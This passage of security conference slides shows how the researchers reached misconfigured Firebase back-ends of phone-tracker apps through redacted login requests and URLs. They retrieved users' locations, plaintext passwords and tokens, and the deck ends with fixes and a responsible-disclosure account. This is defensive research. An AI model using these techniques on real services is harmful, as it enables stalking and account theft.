SLIDE 129

Authentication Misconfiguration

attacker tracker back-end

user_email user_id foo@bar.com 149737514214639 user@email.com 145859345853234 … …

FR FREE

129

POST /*******celltracker/api/login HTTP/1.1 {"user_email":"foo@bar.com"} victim email

slide-130
SLIDE 130

Authentication Misconfiguration

attacker tracker back-end HTTP/1.1 200 OK {"login_data":[{"user_id":"149737514214639",…}

user_email user_id foo@bar.com 149737514214639 user@email.com 145859345853234 … …

FR FREE

130

slide-131
SLIDE 131

Authorisation Misconfiguration

attacker

https://*****************.firebaseio.com/Users/149737514214639

131

slide-132
SLIDE 132

Authorisation Misconfiguration

attacker

user_id last_location … 149737514214639 address = … … 145859345853234 address = … … … … …

Table Users Query in Users

FR FREE

132

https://*****************.firebaseio.com/Users/149737514214639

slide-133
SLIDE 133

Location without Authorisation

attacker

HTTP/1.1 200 OK { last_location={ address= Rheinstraße 75 64295 Darmstadt Germany date=13/06/2017 lat=49.8717048 long=8.6387116 … }

133

slide-134
SLIDE 134

Faceplam Light

134

slide-135
SLIDE 135

But there is More

attacker

HTTP/1.1 200 OK { … user_email=foo@bar.com user_name=theuser user_password=123456 user_token=cQfgiDRWx9o:APA91bGTkU1N9F... user_type=1 .. }

135

slide-136
SLIDE 136

But there is More

attacker

HTTP/1.1 200 OK { … user_email=foo@bar.com user_name=theuser user_password=123456 user_token=cQfgiDRWx9o:APA91bGTkU1N9F... user_type=1 .. }

136

slide-137
SLIDE 137

But there is More

HTTP/1.1 200 OK { … user_email=foo@bar.com user_name=theuser user_password=123456 user_token=cQfgiDRWx9o:APA91bGTkU1N9F... user_type=1 .. }

public void onDataChange(DataSnapshot dataSnapshot) { PasswordActivity.this.util.log("userid password123", "" + dataSnapshot.getValue()); if(PasswordActivity.get_string_from_edittext(PasswordActivity.ed_password).compareToIgnoreCase( dataSnapshot.getValue().toString()) == 0) { .... PasswordActivity.this.save_user_data(); return; } PasswordActivity.lDialog.dismiss(); PasswordActivity.this.util.toast("Password Wrong"); } 137

slide-138
SLIDE 138

Authorisation Misconfiguration

attacker

https://*****************.firebaseio.com/Users/

no user_id

138

slide-139
SLIDE 139

Authorisation Misconfiguration

attacker

user_id last_location … 149737514214639 address = … … 145859345853234 address = … … … … …

Table Users

FR FREE

139

slide-140
SLIDE 140

Sh** happens

140

slide-141
SLIDE 141

Problems?

§ Misconfiguration of Firebase, no authorization rules

*https://firebase.google.com/docs/auth/ 141

slide-142
SLIDE 142

Problems?

§ Misconfiguration of Firebase, no authorization rules § User authentication is done on app (client) side, user authentication must be done on server side

*https://firebase.google.com/docs/auth/ 142

slide-143
SLIDE 143

Problems?

§ Misconfiguration of Firebase, no authorization rules § User authentication is done on app (client) side, user authentication must be done on server side § Use Firebase SDK authentication (e.g. Google Sign-in, custom email - password based, …*)

*https://firebase.google.com/docs/auth/ 143

slide-144
SLIDE 144

Problems?

§ Misconfiguration of Firebase, no authorization rules § User authentication is done on app (client) side, user authentication must be done on server side § Use Firebase SDK authentication (e.g. Google Sign-in, custom email - password based, …*) § Custom authentication back-end possible (based on signed tokens, details see**)

*https://firebase.google.com/docs/auth/ **https://firebase.google.com/docs/auth/android/custom-auth 144

slide-145
SLIDE 145

Agenda

§ Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary

145

slide-146
SLIDE 146

Responsible Disclosure

§ Informed vendors, 90 days to fix the bugs § Reactions:

§ A few: “We will fix it” § No reaction § “How much money do you want” § “It’s not a bug, it’s a feature”

§ Announced to Google Android Security and to ASI (app security improvement)Team -> no direct reaction § Some apps removed from Google Play Store (12 of 19) § Still vulnerable back-ends and apps in the store § Some apps are detected as malware now

146

slide-147
SLIDE 147

Agenda

§ Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary

147

slide-148
SLIDE 148

Summary

§ DON‘T use plaintext communication in mobile!

148

slide-149
SLIDE 149

Summary

§ DON‘T use plaintext communication in mobile! § Use prepared statements (in correct way J) to avoid SQL injection

149

slide-150
SLIDE 150

Summary

§ DON‘T use plaintext communication in mobile! § Use prepared statements (in correct way J) to avoid SQL injection § App security is important but also consider back-end security

150

slide-151
SLIDE 151

Summary

§ DON‘T use plaintext communication in mobile! § Use prepared statements (in correct way J) to avoid SQL injection § App security is important but also consider back-end security § DON’T store any user secrets in the app (client side)

151

slide-152
SLIDE 152

Summary

§ DON‘T use plaintext communication in mobile! § Use prepared statements (in correct way J) to avoid SQL injection § App security is important but also consider back-end security § DON’T store any user secrets in the app (client side) § Google provides API for payment and license verification § Authentication and authorization for back-end data (e.g. firebase*)

*https://firebase.google.com/docs/auth/ 152

slide-153
SLIDE 153

Client-Side Vulnerability Access All Data My Family GPS Tracker X KidControll GPS Tracker X Family Locator (GPS) X X Free Cell Tracker X X Rastreador de Novia 1 X X Rastreador de Novia 2 X X Phone Tracker Free X X Phone Tracker Pro X X Rastrear Celular Por el Numero X X Localizador de Celular GPS X X Rastreador de Celular Avanzado X X Handy Orten per Handynr X X Localiser un Portable avec son Numero X X Phone Tracker By Number X X Track My Family X X Couple Vow X Real Time GPS Tracker X Couple Tracker App X Ilocatemobile X

http://sit4.me/tracker-apps

153

slide-154
SLIDE 154

154

slide-155
SLIDE 155

Stephan Huber Email: stephan.huber@sit.fraunhofer.de

Findings: http://sit4.me/tracker-apps

Siegfried Rasthofer Email: siegfried.rasthofer@sit.fraunhofer.de Web: www.rasthofer.info Twitter: @teamsik Web: www.team-sik.org

155

TeamSIK Members involved in this project: § Alexander Traud § Benedikt Hiemenz § Daniel Hitzel § Julien Hachenberger § Julius Näumann § Kevin Steinbach § Michael Tröger § Philipp Roskosch § Sebald Ziegler § Steven Arzt